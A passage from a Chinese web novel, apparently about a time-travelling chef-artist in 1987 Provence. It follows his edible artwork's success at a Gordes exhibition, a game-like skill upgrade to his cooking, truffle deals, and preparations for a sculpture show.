罗南把下巴放到佐伊的头顶,环抱住她的胳膊,笑着说: “当然是为了给你惊喜,维埃里我就没瞒。” 站在他们旁边的维埃里受不了这个气氛,向右侧跨了两步: “你们又开始了” “快看快看!烟花!!”伊莎贝尔突然用力抓住维埃里的胳膊,兴奋的摇了几下。 一朵朵绚烂的烟花在她脸上映出美丽的色彩。 维埃里先是看了一会伊莎贝尔的脸,随后也抬起头来.并没有甩胳膊上的手。 罗南的视线从这两个年轻人的身上移开,开玩笑的对怀里人说: “我们可要抓紧了,不能让维埃里‘弯道超车’。” 佐伊根本没注意弟弟的异样,也没听到罗南说的话。 她兴奋的小跳了一下,指着头顶像孩子一样对罗南说: “好看!好好看啊,和还愿盛典那天一样好看!我喜欢烟花!” 罗南幸福的把脸贴到佐伊香喷喷的头发里。 他当然知道佐伊喜欢烟花. 这场烟花就是给佐伊准备的。 “感谢你一年的陪伴,希望以后每一个春节我们都能一起看烟花新年快乐!”罗南在佐伊耳边欢快的说。 今天一天,他感谢了那么多人,自然也要感谢佐伊。 佐伊这一年给他的帮助可能是最多的——他让罗南的心有了实质上的‘家’。 佐伊回过头来,认真看向罗南的眼睛,眼眸里柔光闪动: “应该是我感谢你,感谢你让我交到了许多朋友、感谢你帮我营造出了这么棒的工作氛围、感谢你帮我实现梦想、感谢每一次当我遇到困难时都第一时间挺身而出、感谢你的默默奉献、还感谢你义无反顾的爱我我爱你罗南。” 【他人的肯定使幸福度增加50点】 在喧闹的尖叫声和烟花声中,罗南自信的认为他是世界上最幸福的。 没错,最幸福的那个! 春节寓意着‘辞旧迎新’,一切都是新的开始。 虽然1986年他已经足够幸福,但罗南坚信,1987年他会更加幸福。 不止他自己,还有他的亲人、爱人和朋友,也一定会更加幸福的! 佐伊突然踮起脚尖,在人群中勇敢的吻向罗南,引得周围爆发出更多的尖叫声。 【与异性发生亲密接触幸福度增加50点】 罗南突然瞪大了眼睛。 【幸福度】的分值不仅恢复到了寒潮前的水平.还给的更加多了? 以前【亲密接触】判定最高才能给35。 这真的是‘新年新气象’啊! 春节过后的第二天。 戈尔德。 某处艺术中心。 “马雷查尔,今天依然不给诺曼德先生回复吗?我的意思是不如直接告诉他,你拒绝了他的提议?” 两个穿着名牌服装的男人对桌而坐,他们面前的桌子上放了许许多多的文字和照片资料。 那名叫马雷查尔的人摇头道: “西蒙斯,我们已经要忙死了,安迪·戈兹沃西是雕塑家,你知道这次会有多少人关注我们的中心雕塑展吗?我劝你还是和我一起,赶紧把这些作品信息看完.普罗旺斯艺术界的脸面更加重要。” 西蒙斯揉了揉眼角,又拿起一张照片: “但我们也要给诺曼德先生面子啊,那可是诺曼德,不是别人。” 马雷查尔的视线从手里的资料移开,耸肩道: “是啊,需要给诺曼德面子,所以我们不能拒绝他,只能拖着拖到展览开始,再编个理由应付过去,额,就说我们最近忙到饭都顾不上吃怎么样?这的确是事实。” 西蒙斯叹了一口气,继续表达自己的意见: “但我认为,我们应该给那个叫罗南的新艺术家一个机会,只是看看他的作品,不会浪费多少时间的,虽然名气是很重要.但你应该清楚那个作品相当有创意。” 马雷查尔继续看他手里的资料,敷衍的说: “哦,那确实是个不错的作品,你忘记了吗?三天前我们两个还一起去看了它,但那又怎样呢?它跟雕塑没有一点关系!用来应付那名艺术家的时间,我可以看完10个作品的介绍,并想出20条推荐语我认为那更重要。” “不不不,那不止是‘不错’这么简单。”西蒙斯指着一个方向说,“‘希望’是1月份戈尔德人气最旺的作品,因为它的存在,每天有1万多人会去罗德里格的展览,1万多人啊你应该知道,那个展里除了‘希望’都是垃圾。” “每天有一万多人去看罗德里格的垃圾?”马雷查尔彻底不淡定了,皱着眉毛问,“你在跟我开玩笑吧!” 西蒙斯举起一只手: “绝对没有,不过他们不是去看‘垃圾’的,是去看‘希望’的。” 马雷查尔的表情更差了: “那么多人去看每天塌陷一块的甜品?” 西蒙斯敲了一下桌子,郑重无比的说: “你绝对想象不到,那个甜品腐烂后,里面出现了新的东西,它真的每一天都会给人新的惊喜.诺曼德先生评价它是一件真正的艺术品,一点都没有夸张!” 第309章 真正的希望 马雷查尔并没有夸大其词,身为戈尔德中心雕塑展的策展人,他已经忙到半个多月没有好好吃饭了。 当一个普罗旺斯人放弃了每天在餐桌前的那宝贵的两三个小时,改为每顿吃冷冰冰的面包或三明治,代表他真的要认真对待某些东西了。 就比如马雷查尔每天都挂在嘴边的——普罗旺斯艺术界的面子。 戈尔德系列艺术活动的起因是英国雕塑家安迪·戈兹沃西要在戈尔德现场创作一个作品。 一个英国雕塑家不在英国创作,非要不远万里跑来戈尔德创作,还弄出了那么大的动静.这不就是在打普罗旺斯艺术界的脸面吗? 尤其是打普罗旺斯雕塑家的脸! 觉得我们好欺负? 自从被任命为官方雕塑展的策展人,马雷查尔心里就始终憋着一股子气——他要让英国佬知道选错地方了! 反击安迪·戈兹沃西的武器,就是中心雕塑展览是否能成功。 不止是作品的好坏,还有游客的声音、媒体的声音、其他艺术家的声音和参观客流量等。 作品再好,没人来看也不行。 那也是失败的! 中心雕塑展的每一个作品都是马雷查尔和他的专家团队一起挑选出的,他对此很有信心,但客流量的多少.不是他能决定的。 尤其2月戈尔德要扎堆开那么多艺术活动,时间不富裕的游客或者外地艺术家可能会在其中做取舍。 但马雷查尔听到西蒙斯说,罗德里格的‘垃圾’展一天能有1万多参观量时,完全不淡定了。 最近这一周他完全沉浸入了工作中,并没有去主动了解外界的消息。 可在1987年,日均浏览量超过4000人次的艺术展就可以用‘成功’来形容。 超过万人次那就是‘无比成功’,可以引起当地艺术圈轰动和大范围讨论了。 罗德里格的垃圾们居然有那么多人看? 马雷查尔不服,真心不服。 即使西蒙斯告诉他们,吸引游客的是那个叫‘希望’的甜品,马雷查尔也依然不理解。 那天中午,他利用午饭时间,又一次去了罗德里格的展览。 饭可以不吃,但他必须亲自看看,到底是什么东西吸引了那么多人。 马雷查尔像正常游客一样,在戈尔德城堡门口拿了一张展览介绍。 打开一看,和几天前拿到的一样,也就是说这几天里面并没有出现什么新的东西。 随即马雷查尔发现,城堡人流量明显比他上次来的时候多了。 上一次他和西蒙斯来这里,很顺利的参观了每一个展室,中间没有任何阻碍。 但今天去中央展厅的路上居然‘堵车’了。 在他面前出现了一条松松散散的队伍,像一条直线一样,通往了城堡里的某个位置。 “不会都是去看‘希望’的吧?”马雷查尔在心里嘀咕。 很快,跟在他身后的几个游客解答了他心中的疑问。 “这个展览怎么这么多人啊?别的展都空荡荡的。” “你是第一次来的?” “当然是第一次来什么意思,你不是第一次来?” “哈哈,不是,我每天都要来一次,看看‘希望’是什么状态了。” “啊?每天来看一次展?” “哎呀,这很难和你解释,你进去看到一个叫‘希望’的作品就会明白了,看过它的人都想看到它每一天的样子,所以只要时间允许就每天来一次。” “好的好的,‘希望’在哪里?我一定去看看!” “你跟着人流走就行了,我猜前面的许多人都和我是一样的目的。” “额每天都有这么多人来看‘希望’吗?” “不是,刚开始那几天没有那么多人,一点点积累起来的,你想啊,每天出现四五百个像我这么有‘好奇心’的人,人数就越滚越多了,不过这个作品现在在戈尔德的讨论度非常高,走到哪里都会有人谈论它,即使没打算来看的人也被安利了。” 马雷查尔疑惑的摸了摸下巴。 前面的那些人还真是排队去看‘希望’的 弄清楚了这个问题后,第二个问题随即出现在他的心里——那个甜品值得每天来看一次吗? 算算日子,‘希望’已经展出6天了。 说不定玻璃罩子里只剩一滩化了的巧克力和奶油这有什么好看的呢? 就这么胡乱的想着,马雷查尔终于走到了中央展厅。 ‘希望’面前围了许许多多的游客,他挤进去又花了一些功夫。 马雷查尔已经开始后悔了。 浪费这么多时间来看这个作品到底有没有意义? 不过前排人的议论声又勾起了他的兴趣,推动着他必须看看‘希望’的样子。 “上帝,谁能想到里面还有东西啊,这个作者太厉害了。” “自然啊,这才是自然,我在戈尔德待了四天,这是我看过最贴合‘自然’的主题。” “罗南,你们有听过这个名字吗?普罗旺斯艺术节果然人才辈出,这么一个‘名不见经传’的艺术家居然做出了一个这么巧妙的作品,我开始期待马上开始的‘主舞台’了。” “但是.它里面的东西是用什么做的?” 马雷查尔要急死了。 快让我看看啊! 到底是什么东西!! 又过了2分钟,马雷查尔才排到了最前面的一排,终于能看清今日的‘自然’是什么状态了。 只见葡萄藤、果实和鲜花已经干瘪脱落了下去,凄凉的躺在寓意为‘大地’的巧克力碎屑上——大自然终于显现出了它‘冷酷无情’的样子。 而原本白色的甜品主体也塌陷了,不过在它的内部,出现了一些其他的东西。 马雷查尔几乎把脸贴到了玻璃上,才看清里面是什么样子。 那是几颗或含苞待放,或已经发芽的‘花朵’,而且是几朵是永远不会凋零的花朵。 马雷查尔控制不住的喃喃自语起来: “作品的名字叫希望,但希望怎么会‘破灭’呢?灾难之后一定是新生,而且是不会再被摧毁、比之前更加顽强的新生.这才是希望,这才是普罗旺斯人民最想看到的希望的样子。” 他突然看向作者一览上‘罗南’这个名字。 罗南我记住你了。 这个名叫‘希望’的作品真的给了马雷查尔极大的惊喜。 “谁能告诉我,里面的东西是用什么做的?看起来好奇特啊。” “好像是某种植物?” “这个叫罗南的艺术家太有才华了,你们知道他还有其他作品在哪里展出吗?我想去看看!” “诶,我想知道,有谁了解这个信息吗?” 突然,在游客堆里出现了一个不带感情的声音: “这是一种编织技艺,是用草编出来的。” 随即这道声音带上了一丝笑意: “真是处处点题啊草也是大自然里随处可见的东西,但如此普通的草却做出了如此不平凡的东西,厉害,真的厉害。” 编织在普罗旺斯属于小众艺术品类,会的人并不多。 马雷查尔也只是略懂。 不过,这种略懂对于普通人来说已经足够了。 立即有几个人兴奋的说: “编织,真的是编织吗?中心艺术品展里似乎有一个艺术家在展示他的编织艺术品诶,如果找不到罗南的作品,我就去看看编织的东西!” “我也去,我也去!这看起来很有意思。” “普罗旺斯的艺术家们真厉害啊,甜品和编织这也能结合到一起?” 马雷查尔扭头看向那些离去的人。 只要和罗南扯上关系就这么受欢迎的吗? 下午。 西蒙斯吃完午饭,回到老地方和马雷查尔一起看作品介绍。 可一向守时的马雷查尔居然没有在规定时间回到这里。 西蒙斯看了好一会,马雷查尔才出现。 “你也会迟到啊。”西蒙斯笑着打趣。 马雷查尔敲了两下桌子: “西蒙斯,你去转告诺曼德,我们要看一看罗南的雕塑作品。” 西蒙斯诧异的抬头: “你不是说那是浪费时间吗?” 马雷查尔着急的在屋子里踱步: “但他有‘人气’啊。” “你也看到罗南的人气了对不对?”西蒙斯很开心马雷查尔能接受自己的提议,不过他略显担心的说,“不过.我们对他的要求,要和其他雕塑家持平吗?” 马雷查尔叹气道: “不能不给诺曼德面子稍微放低一些要求,但也不能把要求降的太低,总之先看看作品吧。” 西蒙斯点头道: “好的,我这就去通知诺曼德。” 除夕夜分别时,卢卡斯告诉罗南,他这几天会问一问其他松露渠道。 他同意两个人继续合作,但如果价格涨上来了,就不去做那种每天有固定斤数要求的生意了。 卢卡斯还是不想把罗南绑在森林里。 罗南对此没有什么意见,让卢卡斯找到了告诉他就行。 新的一年,罗南不仅长大了一岁,还成为了一个更加幸福的人。 系统给予的【幸福度】数值有所提高,代表罗南未来的发展道路会更加顺利。 他的确需要拿出一些时间去做别的。 比如去了解如何运营酒庄和香水博物馆。 不过此刻最迫切的,就是赶紧把【烹饪】升到5级。 除夕当天,罗南获得了海量的【幸福度】,5000点终于凑到了。 趁着挖松露休息的时间,罗南点向了【烹饪】后面的‘+’。 “要5000点经验那么多,让我看看你能给我带来什么好东西吧!” 第310章 史诗级加强! 随着淡蓝色屏幕最下方的【幸福度】从5201变为201,罗南明显感觉到了两个变化。 第一个是他的脑袋里多出了一些知识。 两个月前,也是在弗拉西耶的这片密林里,罗南将【采集】升级到4级,系统也给他灌输了新知识.那一次他在原地等待了1个多小时才消化完所有。 而这一次【烹饪】带来的新知识,罗南只用了约十五分钟就大致‘浏览’完了,随即他的嘴角勾勒出了一个巨大的弧度。 虽然从数量上看给的新知识不多,但重要程度丝毫不比发现了新的松露寻找方式差。 此刻罗南的脑袋里多出了一本像是电话‘黄页’的东西,里面全部是他最最需要的菜品、甜品、饮品等等的制作方法! 不止有中式菜谱,其他国家和地区的菜谱也罗列其中.更恐怖的是他还看到了一些只在典故和童话里才能看到的奇怪菜肴。 时间有限,罗南刚刚只是快速‘浏览’了一遍名称栏,不过里面不乏看名字就知道很‘刑’的,所以这些知识需要花时间慢慢筛选一下。 不过好消息是,在他最关注的中式甜品区,有花样繁多的几百款可供选择即使有一半无法制作,也足够把餐厅的最后一个短板补齐了! 做为一家中餐厅,全部是西式甜品始终让罗南觉得差了点意思。 而现在问题解决了。 接下来要做的是选择一些适合在普罗旺斯售卖的款式,并把做法教给莉亚。 5级【烹饪】带来的第一个能力已经足够厉害,但第二个能力让罗南变得更加全面和强大。 第二个能力强化的是罗南的‘舌头’,所有食物只是吃一口就能品出它的做法和用料配比。 为了验证,罗南拿出午饭,吃了一口其中的某道菜。 随即他闭上眼睛慢慢咀嚼起来。 很快,罗南的脑海中浮现出了罗天海烹饪这道菜的画面,似乎连往里面放了多少盐、多少酱油和糖都看得清清楚楚。 “这两个技能组合到一起太强大了。”罗南睁开眼睛。 系统给的菜谱一定无法包罗所有菜肴,因为厉害的厨师不会停下发明新菜品的脚步。 但脑中没有的菜,罗南又可以通过品尝得知它的做法。 可以说,这世界上已经没有罗南不会做的菜了。 再加上对食材味道的极致把控力、出神入化的刀工和像作画一样的摆盘能力餐厅的实力史诗级增强! “阿图尔一定要羡慕死我了。”罗南笑着摇了摇头。 如果阿图尔拥有罗南的这些能力整个普罗旺斯的餐厅都危险喽,他可以完美‘复刻’任何菜品,并顺利的将它据为己有,说不定还能比原版做的更好吃。 突然,罗南侧了下脑袋。 阿图尔好久没来他这里‘学习’了。 再过两个月旅行季就要开始,阿图尔这个‘移动广告牌’得行动起来了。 罗南决定,等卢卡斯找到新的松露售卖渠道、他时间富裕一些后,要和阿图尔联系一下,再给他露两手激发激发他‘学习’的热情。 确认好两个新的能力后,罗南又把注意力放回到了系统上。 【3级建造:0\2000】 【4级种植:0\5000】 【4级采集:0\5000】 【5级烹饪:0\10000】 【3级编织:0\2000】 【3级打猎:0\2000】 【3级制陶:0\2000】 【1级捕鱼:0\100】 【1级酿酒:0\100】 【1级玻璃烧制:0\100】 【可使用经验:201】 再升一级【烹饪】居然要花费10000点经验. 即使过完春节,罗南的【幸福度】获取速度提高了,也需要至少半年时间。 短时间不会再升级【烹饪】了罗南如是想着。 升级【烹饪】的首要出发点是为了在接下来的几个月里参与普罗旺斯的各项美食活动,把餐厅的名声打出去。 以罗南目前的能力,足够有资格去参加那些活动了,所以短时间内无需再提升自己。 罗南又扒了几口手里的盒饭,思绪不由得发散出去。 也许下次再升级【烹饪】就是餐厅已做的足够知名、收入也达到了这个规模下的‘天花板’.要冲击米其林的时候了。 “普罗旺斯的第一家中餐米其林吗?”他迷糊不清的喃喃自语。 人嘛,当然要有梦想。 否则和咸鱼有什么区别? 如果没有记错,罗南穿越前全法只有4家中餐米其林餐厅。 其中三家在巴黎,一家在里昂。 而1987年的法国,中餐仍处于“前米其林时代”。 “或许.也有可能是法国的第一家?” 当天晚上,罗南回到餐厅想找母亲对一下餐厅1月份的收入。 餐厅的运营他现在几乎不怎么管了,但每个月的月初会和母亲对一对上个月的账。 不过他一回餐厅就被两个人拦了下来,完全没有机会去收银台。 罗南疑惑的问歌迪亚和巴蒂: “你们堵在门口干什么,当门神?” 巴蒂很有绅士风度,对歌迪亚说: “你先说吧,女士优先。” 歌迪亚嘴像机关枪一样,语速飞快的说: “诺曼德先生的助理给我打电话,说戈尔德中心雕塑展愿意看看你的作品,你是不是还没开始准备?罗南,你上点心吧!中心雕塑展是这次系列艺术活动里最重要的一个展览,那是在和安迪·戈兹沃西直接‘对话’的活动,卢尔马兰一个艺术家都没有参与进去,连马里尼的作品都被打回来了.你现在是整个卢尔马兰唯一的希望!” 罗南的状态和歌迪亚完全相反,他不疾不徐的问: “需要什么时候把作品送过去?” 他已经有了中式甜品菜谱,心里一点都不虚。 甚至有点期待这次大展拳脚的机会! 歌迪亚着急的拍了下手: “我这不就是在等你给我时间吗!你什么时候能做好?” 罗南摸着下巴说: “我现在也不确定一周?十天?” 歌迪亚气的就要扬手打他: “10天展览都开始了!” 罗南灵活的拉开二人距离: “那就一周,你帮我去沟通下吧,就说我突然灵感爆发,要做一个新的作品,需要些时间不过我会抓紧的你放心。” 之后他向餐厅里面看: “话说卢卡斯回来了吗?” 罗南的时间要跟着卢卡斯走,不知道他找没找到新的松露售卖渠道? “还没有。”巴蒂挡住罗南的视线,“罗南,我也要和你说一件事情。” 罗南的脸色一沉: “编织订单出问题了?” 巴蒂以如此正式的口吻找他说事情,罗南只能想到这一个缘由。 不会是皮雷把我们的‘女兵们’抢回去了吧? 怎料巴蒂突然喜笑颜开起来: “不是编织订单,也是关于戈尔德艺术展的!” “啊?”罗南一脸吃惊,“也是戈尔德艺术展?” 第311章 普罗旺斯的安迪·戈兹沃西 “戈尔德艺术展怎么了?”罗南疑惑嗯了一声,随即他想到什么,继续追问巴蒂,“你的作品是不是已经开始展出了?” 佐伊和巴蒂是卢尔马兰艺术家中最有出息的两个,他们全部参与了带着‘中心’的活动。 罗南记得过年那天听到艺术家们议论,说巴蒂参与的活动马上就要开始,他们要约着一起去看呢。 巴蒂点了两下头: “没错,已经开展了,今天是第二天,我要和你说的就是这件事。” 随后他耐心的给罗南解释: “你知道的,编织技艺在普罗旺斯很小众,我虽然参与了中心艺术展,但作品被放在了一个很边缘的展厅,昨天开幕式,游客们路过只是走马观花的随便看看,不会驻足,但是今天——” 巴蒂突然拉长了尾音。 歌迪亚是个急脾气,她不满的嘟囔: “今天怎么了?你倒是说啊,不说我走了!一个比一个墨迹,都是跟谁学的!” “别走,我说我说!”巴蒂拦住打算离去的歌迪亚,继续说道,“今天上午那间展室依然冷清,但吃过午饭,游客突然多起来了,而且他们居然都是来看我的作品的。” 罗南平摊双手,表示这太正常不过: “那很正常啊,你的作品那么精美,反正我做不出来那么精美的艺术品。” 巴蒂是真正的编织艺术家。 让他做花环有点‘大材小用’了。 “不不不,不是的!”巴蒂突然笑着指罗南,“他们是因为你来的!你的‘希望’里面有几朵编织的花对不对?因为‘希望’,更多的游客知道了编织,所以来看其他编织作品了。” 歌迪亚瞪大眼睛看罗南: “‘希望’里面还有编织花?” 罗南不满的咂了一下嘴: “开幕之后你就没再去过吧?” 歌迪亚理直气壮的说: “哪有时间啊,我还要开店呢。” 歌迪亚帮助卢尔马兰艺术家送展、填写申请资料等行为全部是免费做的,没有找艺术家要过任何报酬。 她从中能得到的好处是,以略低于市场价的价格收购大家的作品,放到商业街上的艺术品商店售卖。 当然了,除了少量作品可以卖出去,大部分都成为了‘压箱底’的货。 歌迪亚的心态倒是挺平和的。 她总是开玩笑的说,这些都是投资,说不定某一天卢尔马兰的艺术家们‘爆发’了,她会比托马斯那个富二代更加富有,变成富一代。 罗南感激的对她说: “你这段时间辛苦了。” “行了别说那些没用的!”歌迪亚皱着眉毛说,“你赶紧把下一个作品做出来吧!” 见对面两个又聊了起来,巴蒂伸出右手,在他们面前挥舞了两下: “我还没说完呢!” “你说你说。”罗南转头看向巴蒂。 巴蒂的状态更加亢奋了: “因为你的原因,去看我作品的人变多了,除了宣传卢尔马兰的艺术环境、吸引更多的艺术家外,我还想推销一下编织产品.订单越多妇女们的生活越好,我可以这样做吗?” 罗南完全没想到巴蒂能把艺术展和这件事联系到一起。 可见巴蒂真的很在意妇女们。 他真的找了一个非常棒的‘领头人’。 罗南既感激又欣慰的问: “当然,当然可以了,你想怎么做,需要我配合什么?” 巴蒂很开心罗南能同意自己的提议,期待的问: “我的艺术展要持续20天,这期间你可以去看一两次吗?你现在在戈尔德太‘火热’了,今天有游客说,你都快成为普罗旺斯的安迪·戈兹沃西了.走到哪里都能听到有人在议论你,我猜也许你去几次,即使不用做什么,编织也会在普罗旺斯‘流行’起来。” 巴蒂继续用期待的语气问歌迪亚: “你觉得呢?这对编织艺术品是否有帮助?” 歌迪亚收了许多年轻艺术家的作品,但她没收过巴蒂的作品。 她给巴蒂的理由是不太看好编织艺术品可以卖出价值。 歌迪亚没有直接回答,而是认真的考虑了几秒: “这几天我没去戈尔德,也没了解罗南现在‘人气’,明天我会去一趟,然后再回答你这个问题。” “好!那我等你的消息。”巴蒂微笑着说。 不过在歌迪亚给出回复之前,罗南已经答应下来了: “只要时间允许,我一定会多去几次的。” 罗南参与艺术展的目的有许多。 之前他想的是吸引艺术家来卢尔马兰,并通过甜品给餐厅增加人气。 而现在目的又多了一个——宣传编织产品。 由于寒潮的缘故,卡福的生意一直处于‘不上不下’的状态,连已经打开市场的花环订单都锐减了,更不要提编织灯和饰品那些东西根本卖不出去。 但罗南现在看到了新的可能性。 装饰市场推动受阻,那就从其他路径想想办法总比现在什么都不做强。 如果巴蒂说的话是真的,他在戈尔德‘人气’非常高,那的确需要多去戈尔德露露脸。 不过前提是把送给中心雕塑展的作品尽快做出来。 卢卡斯依然每天很晚才回卢尔马兰。 只要卢卡斯出现,罗南就知道餐厅的打烊时间要到了。 罗南本以为他每天花费这么多时间在森林里,肯定没有时间找松露售卖渠道。 他也为此打出了许多‘富裕时间’。 没想到当晚卢卡斯就告诉罗南,他找到了同样愿意出3500法郎/公斤的渠道。 “靠谱吗?”罗南反复确认。 卢卡斯郑重的点头: “卡庞特拉的松露委员会已经控不住价了,松露太紧缺,现在完全供应不上,市价已经涨到了3200法郎/公斤。” 罗南做出了一个祈祷动作: “继续涨吧.” 阿方斯先生的订单只能解决‘燃眉之急’,不可能一直接。 对于他和卢卡斯来说,最重要的是松露价格在寒潮的影响下能持续走高。 卢卡斯喝了一口罗南给他准备的高度烧酒: “2月能涨成什么样不好说,但到了11月新的松露采摘季松露价格应该可以到4000法郎以上。” 罗南低头若有所思的点了一下头,似乎在计算着什么: “希望吧。” 卢卡斯敲了一下桌子,提醒罗南看过来: “你今天就通知阿方斯,不接那个订单了。” “好,回去我就给他打电话。”罗南笑着对卢卡斯说,“你还是一如既往的‘靠谱’。” 说找新渠道两天就找到了.和这种人合作非常有安全感啊。 如果不解决松露价格的问题,罗南还要在山里待一阵子。 不止是为了帮助卢卡斯,有贵的渠道,他也不想‘贱’卖松露。 卢卡斯把酒喝了: “走了,玛格丽特该睡觉了。” 晚上8点半,卢尔马兰的不少村民已经进入了梦乡,但罗南依然在餐厅里没有离开。 他已经迫不及待的要开始制作给中心雕塑展准备的作品了。 以前是选择太少,‘武器’不够。 升级【烹饪】后‘武器’太多,不知道要用哪个了。 罗南在后厨不停的踱步: “哪种中式甜品最适合做成雕塑作品呢?” 第312章 拆解目标,一一解决! 在因‘武器’太多,无法抉择之际,罗南先把这个甜品需要满足的条件罗列了出来,方便接下来做取舍。 首先,材质最好要‘易’于雕刻。 歌迪亚给罗南报的是戈尔德中心雕塑展,作品一定要体现出罗南高超的雕刻工艺。 以前的创作中,由于蛋糕和饼干等甜品类型本身不适合做雕刻,罗南只能在配饰的坚果或水果干上做文章。 材质太硬不好下刀和容易失败是其一,二是太费时间了在果干上雕一朵花要花费几个小时。 罗南急需找到一种外形好看,可以调色,又易于做整体雕刻造型的甜品类型。 第二点要满足的是易与储存。 这一点罗南之前没有找到很好的解决方式,‘希望’算是取巧而为之,但这次绝对不能再那样处理了。 如果侥幸通过评选,进入了中心雕塑展,这个作品必须全程保持最完好的状态,而且状态保持的越长越好能像其他艺术品一样被收藏家买走是最好的。 但这一点,就筛选出去绝大部分甜品工艺。 易于雕刻意味着材质不会太硬,但柔软的食材通常含水量不会低,又会容易腐烂。 “也许可以加入一些‘科技’达到想要的状态?”罗南在心中嘀咕。 还有一个第三点,也是罗南想要极力去达成的。 ‘希望’在本身成功的同时,又帮助编织技艺在普罗旺斯普及了起来,可谓是‘一石二鸟’。 那么这次送展的作品,也可以达到其他的目的吗? 这很难.不过罗南想要试试。 想明白了这次要达成的目的之后,下一步就是‘尝试’。 今天卢卡斯找到了收松露的新渠道,罗南的时间被解放了出来。 未来的一周,他可以沉浸在餐厅后厨多做几轮尝试。 在找到最满意的甜品类型并雕刻出一个满意作品的同时还可以给餐厅的甜品菜单增加一些新样式。 不止要增加更符合餐厅风格的中式甜品,和‘希望’有所关联的甜品也要增加进去。 最近因‘希望’来卢尔马兰吃甜品的艺术家明显多起来了,还有人点名要吃‘希望’,罗南要把甜品菜单做一轮大升级。 “对,还要加一个第四点。”罗南突然拍了一下手。 这个甜品一定要足够好吃! 他通过花里胡哨的艺术品把客人吸引来卢尔马兰,结果人家一吃到同款变成‘痛快面具’就不好了。 那好不容易积攒下来的人气和口碑就全没了。 “越来越难了啊.”罗南首先戴上了痛苦面具。 之后他打开脑袋里储存的‘黄页’,搜索起了可以满足以上四点的甜品样式。 第二天一早,歌迪亚开车去往戈尔德。 罗德里格先生的展览只有7天的时间,今天是‘希望’展出的最后一天了。 通过昨晚的对话,歌迪亚知道给中心雕刻展准备的作品罗南根本就没有准备,可能做什么还不知道呢还是不要抱太大的希望。 所以想要亲眼看到罗南在戈尔德的人气,今天或许是最后的机会。 和昨天马雷查尔去看展的情况不同,可能由于今天是闭馆日的原因.还没进戈尔德城堡,门口就排起了队伍。 这让歌迪亚有一种自己置身于艾克斯某高级艺术展的错觉。 随即她发出了和马雷查尔同样的疑惑: “居然有这么多人来看罗德里格的展览?上帝,这太不可思议了。” 不过,和昨天略有不同的是,一进入城堡,歌迪亚就在门口看到了一张巨幅海报,上面放的是‘希望’最初样子的照片和作品介绍。 除此之外,整个展厅里摆出了非常明显的指示牌,提示游客‘希望’在哪里。 而且看人流移动的方向,他们的目的地就是‘希望’的所在地。 “全部是去看‘希望’的?”歌迪亚在短时间内发出了第二声惊呼。 佐伊的展览还没开始,罗南显然成了卢尔马兰的门面。 来到中央展厅,这里的情况和开展当天的情况发生了翻天覆地的变化。 上一次来,中央展厅里也有不少人,但他们绝大部分是罗德里格邀请来的艺术家们、艺术家的工作团队和来参加展览的作者,游客并不算多。 但今天的中央展厅乌泱泱的全部是游客,一路上歌迪亚听到了许多种不同地区的法国方言,还有其他国家的语言。 歌迪亚没有着急去排队看‘希望’今天的样子。 身为一个职业艺术经纪人,她今天来戈尔德并不是看‘自然’露出哪一面了,那不该是她操心的事情。 她的任务是通过商业运营、资源整合和品牌塑造等手段,让艺术家们更具市场价值并延长艺术生命力。 而且优秀的艺术经纪人必须具备一项能力是——异于常人的眼光。 广义和狭义的眼光。 歌迪亚瞪着不大不小的眼睛在中央展厅仔仔细细的转了一圈,终于发现了一个重要的线索——罗德里格先生正陪在一位少女的左右。 那少女看起来非常年轻,穿着剪裁考究的双排扣羊毛呢长大衣,手拿鳄鱼皮包,脖子上围了一条爱马仕最新款的围巾。 一身奢侈品并不是让歌迪亚注意她的全部理由,有钱人多了去了.让歌迪亚吃惊的是罗德里格对她的态度。 在诺曼德先生都腰背挺直的他,居然在这位少女的面前微微躬下了身,而且在他们二人身后,还有四个穿着西装的男人警惕的左右观察着。 开幕式那天,罗德里格身边并没有保镖出现。 显然这四位保镖的主人是那位少女。 歌迪亚皱着眉头想了几秒,装成游客的模样凑了过去,想要听一听罗德里格和这位少女在聊些什么。 一名优秀的艺术经纪人必须具备的第二项能力——眼观六路耳听八方。 “帕特里西亚小姐,我们再去看看那张雕刻着精美花案的桌子吧,那也是我很喜欢的作品之一。”罗德里格热情的提议。 名叫帕特里西亚的少女甜美的说: “不了罗德里格叔叔,我今天来就是想看看大名鼎鼎的‘希望’,爸爸还在酒店等我一起吃午饭,我得回去了。” 提到‘爸爸’这个单词,罗德里格看起来更加恭敬了: “好的,那就不耽误你的时间了,我们有机会在艾克斯再见面。” 帕特里西亚停下脚步,遗憾的回头看向人群最密集的地方: “真遗憾啊,‘希望’并不能收藏我猜它的作者创作它的时候也会遗憾于这么有艺术价值的作品无法传世。” 罗德里格笑着叹气: “但这就是‘自然’啊,自然不会听从人类的安排,我们永远无法真正的拥有和掌控它。” 帕特里西亚抬起带着手套的手,挡住嘴优雅的笑了几声: “也是,不过这样解释,我更加喜欢‘希望’了,好了,我回去了罗德里格叔叔,很开心能参观你的展览。” 罗德里格把帕特里西亚送到戈尔德城堡的门口才离开。 见人回去了,帕特里西亚突然催促身边的保镖: “那个有编织作品的展在哪里?快带我去看看!” 保镖为难的说: “可是您该回酒店‘上课’了,来戈尔德的第一天就翘课会——” 帕特里西亚拉起裙子下摆,兴奋的左右张望起来: “你们不带我去,我自己去找,这里一定有人知道那个展览在哪里。” 说完,她迈着欢快的小碎步跑走了,完全没有在城堡里的端庄和从容。 “小姐,小姐!” 保镖也跟着离开后,歌迪亚从一个黑暗的转角处走出来。 优秀艺术经纪人必须具备的第三项能力——广阔的人脉。 “帕特里西亚帕特里西亚,听起来有些耳熟,这是谁家的大小姐?” 歌迪亚从戈尔德回来直接去了罗南的餐厅。 她本想找巴蒂,回答他昨天没有回答的问题,意外发现罗南今天居然也在餐厅,而且他又开始‘创作’了。 一群艺术家正围着罗南的最新作品,练习自己的‘艺术叙事性’。 歌迪亚走过去,发现桌子上摆的是一盘她没有见过、也说不上来名字的甜品。 样子很像是一朵朵粉色的‘花’。 罗南并不在外面,歌迪亚只能问旁边的女作家宝莱特: “这是什么?” 宝莱特皱着眉头说: “罗南说叫‘桃花酥’,其实我不太好奇它拥有什么样的艺术故事,花还有什么好解读的.我好奇的是这是用什么做的,又是什么味道,我从没见过这种甜品。” “我也好奇它的味道,要不你尝尝?”薇薇安怂恿宝莱特道。 罗南做的作品都非常好看,看一眼就会让人食指大动。 不过以前他用巧克力、蛋糕、饼干和慕斯创作,大家馋了就点个同类甜品吃。 可这次这个甜品,他们完全找不到解馋的东西了。 这太残忍了! 宝莱特惊恐的摇头: “我可不敢吃,这是罗南做的艺术品。” 